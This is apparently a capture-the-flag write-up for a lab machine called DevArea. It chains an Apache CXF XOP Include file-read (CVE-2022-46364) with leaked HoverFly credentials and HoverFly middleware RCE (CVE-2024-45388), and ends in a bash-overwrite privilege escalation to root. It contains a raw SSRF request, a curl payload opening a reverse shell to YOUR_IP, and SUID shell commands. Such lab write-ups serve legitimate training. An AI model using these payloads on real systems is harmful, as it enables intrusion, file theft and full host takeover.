WEB MEDIUM
TomatoBuster 2026  ·  Mar 31, 2026

DevArea

XOP Include SSRF via CVE-2022-46364 on an Apache CXF SOAP service to read files as dev_ryan, leaking HoverFly credentials — then RCE through CVE-2024-45388 to gain a reverse shell, followed by a syswatch-based bash overwrite for root.

Category
Web / Java
Architecture
Linux
Protections
None
Solver
@Tomat0Buster
// Table of Contents
01

Reconnaissance & Port Enumeration

We kick things off with a standard nmap service scan. The target exposes 6 ports — a richer attack surface than usual.

bash — 80×24
$ nmap -sV -sC devarea.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 15:29 CEST
Nmap scan report for devarea.htb (10.129.20.157)
Host is up (0.073s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_  This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server
|_http-title: Hoverfly Dashboard

Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds

Several services stand out immediately:

Interesting Stack The combination of a Java SOAP service (Jetty/CXF on 8080) and HoverFly (a traffic simulation proxy on 8500/8888) immediately suggests two distinct exploit chains to investigate.
02

FTP Anonymous Login & JAR Analysis

Anonymous FTP gives us access to a JAR file. We download it and decompile it with jadx.

1
// Grab the JAR from FTP
bash
$ ftp devarea.htb
Connected to devarea.htb.
220 (vsFTPd 3.0.5)
Name (devarea.htb:tomatobuster): anonymous
230 Login successful.
ftp> cd pub
ftp> binary
ftp> mget *
mget employee-service.jar?
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
226 Transfer complete.
6445030 bytes received in 2.34 seconds
2
// Decompile with jadx
bash
$ jadx employee-service.jar
$ cat employee-service/sources/htb/devarea/ServerStarter.java
package htb.devarea;

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}
Key Finding The JAR bundles Apache CXF running on Jetty 9.4.27 (2020). This exposes a SOAP endpoint at http://devarea.htb:8080/employeeservice. Old CXF versions resolve XOP Include URIs without scheme validation — this is now a clear target.
03

XOP Include SSRF via CVE-2022-46364 (Apache CXF)

Googling the CXF version leads us straight to CVE-2022-46364. The SOAP endpoint processes MTOM multipart requests with xop:Include elements without validating the URI scheme. This is not classic XXE — it abuses XOP Includes inside MTOM multipart requests, which CXF resolves server-side and embeds into the response. The result is an unauthenticated SSRF with arbitrary file read.

What is MTOM and XOP? MTOM (Message Transmission Optimization Mechanism) is a SOAP extension for efficiently sending binary attachments — instead of base64-encoding them inline, attachments are referenced via xop:Include elements with an href attribute. Apache CXF processes these href URIs server-side to assemble the message. In vulnerable versions, CXF never validates that the URI scheme is safe, so href="file:///etc/passwd" is resolved just as willingly as a legitimate attachment URI. The file contents are then base64-encoded and returned inside the SOAP response body.
CVE Service Version Impact Severity
CVE-2022-46364 Apache CXF (SOAP/MTOM) ≤ 3.5.2 / ≤ 3.4.9 SSRF / File Read — arbitrary files readable via XOP Include href in MTOM SOAP request HIGH

We use the public PoC from kasem545/CVE-2022-46364-Poc. The script crafts a multipart SOAP envelope with an xop:Include pointing to a local file path. The raw request looks like this:

raw HTTP request — SSRF via XOP Include
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; type="application/xop+xml";
              start="root@example.com";
              boundary="----=_Part_0_12345";
              start-info="text/xml"

------=_Part_0_12345
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: root@example.com;

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dev="http://devarea.htb/"
                  xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <content>
               <xop:Include href="file:///etc/systemd/system/hoverfly.service"/>
            </content>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
------=_Part_0_12345--

The server responds with a SOAP envelope containing the file contents as a base64-encoded string inside the <return> element. Decode it to read the file:

1
// Run the exploit to read /etc/passwd
bash
$ python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/passwd \
  -d devarea.htb
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
Why MTOM is an SSRF vector Every SOAP request is XML by definition — every byte passes through CXF's XML processor. MTOM adds a layer where xop:Include URIs are resolved before the application logic even sees the request. Since CXF in vulnerable versions trusts all URI schemes including file://, there is no exploit complexity — just craft the multipart boundary, embed the include, and read the response.
04

HoverFly Credential Leak

The systemd unit file for HoverFly reveals its startup command — complete with hardcoded credentials passed as CLI arguments.

bash
$ python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/systemd/system/hoverfly.service \
  -d devarea.htb
      
[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username REDACTED -password REDACTED -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536

[Install]
WantedBy=multi-user.target

We log in to the HoverFly Dashboard at http://devarea.htb:8888 using the leaked credentials — it works. We now have an authenticated session on the HoverFly admin panel.

Credentials Found HoverFly credentials hardcoded in the systemd unit file, readable via the XOP Include SSRF chain. From here, we pivot to the next CVE.
05

RCE via CVE-2024-45388 (HoverFly Middleware)

A quick CVE search for HoverFly turns up CVE-2024-45388. The vulnerability lies in the /api/v2/hoverfly/middleware endpoint: an authenticated user can set an arbitrary binary and inline script, achieving full RCE.

CVE Service Impact Severity
CVE-2024-45388 HoverFly (middleware API) Authenticated RCE via /api/v2/hoverfly/middleware CRITICAL
1
// Start a reverse shell listener
terminal 1 — listener
$ ncat -lvp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
2
// Grab the API Bearer token from the browser

After logging in to the HoverFly dashboard, open the browser DevTools → Network tab, inspect any API request, and copy the Authorization: Bearer <token> header value.

3
// Set the malicious middleware payload

We PUT our reverse shell script to the middleware endpoint. HoverFly will execute this binary + script for every proxied request — but only once we switch modes and trigger it.

terminal 2 — exploit
$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "binary": "bash",
    "script": "#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
  }'
4
// Shell received as dev_ryan
terminal 1 — shell
Ncat: Connection from 10.129.20.157.
Ncat: Connection from 10.129.20.157:42198.
dev_ryan@devarea:~$ 
06

User Flag

We have a shell as dev_ryan. The user flag is in the home directory.

dev_ryan@devarea
dev_ryan@devarea:~$ cat user.txt
HTB{REDACTED}
User Flag Captured Two CVEs chained together — XOP Include SSRF for file read, middleware injection for RCE. First flag done. Time to go deeper.
07

Privilege Escalation via syswatch

Running linpeas.sh reveals a syswatch.zip in the home directory and a script at /opt/syswatch/syswatch.sh that calls /usr/bin/bash and can be run with sudo. The plan: overwrite /usr/bin/bash with a fake script that creates a SUID root copy of the real bash.

1
// Back up the real bash binary
dev_ryan@devarea
dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/bash.bak
dev_ryan@devarea:~$ chmod +x /tmp/bash.bak
2
// Switch to sh and kill all bash processes

We need to free /usr/bin/bash before overwriting it. Switching to sh first ensures our session survives killall bash.

dev_ryan@devarea
dev_ryan@devarea:~$ sh
$ killall bash
$ lsof /usr/bin/bash
(no output — file is free)
3
// Overwrite /usr/bin/bash with our fake script

The fake script uses our backup bash as the interpreter and, when executed, copies it to /tmp/rootbash with the SUID bit set.

sh session
$ cat > /usr/bin/bash << 'EOF'
#!/tmp/bash.bak
cp /tmp/bash.bak /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
4
// Trigger syswatch to execute our fake bash
sh session
$ sudo /opt/syswatch/syswatch.sh status
(syswatch calls /usr/bin/bash — our fake script runs as root)
$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Mar 31 16:11 /tmp/rootbash
5
// Execute the SUID root shell
sh session → root
$ /tmp/rootbash -p
rootbash-5.2# 
Why this works syswatch.sh calls /usr/bin/bash as root via sudo. By replacing that binary with our own script — and using the backup real bash as the shebang interpreter — the script runs with root privileges and produces a SUID binary we control. The -p flag tells bash to preserve the effective UID instead of dropping it.
08

Root Flag

With an effective root shell, we navigate to /root and grab the final flag.

rootbash — root@devarea
rootbash-5.2# cd /root
rootbash-5.2# ls
root.txt
rootbash-5.2# cat root.txt
HTB{REDACTED}
// Root Flag Captured
HTB{REDACTED}
Related Writeups View all →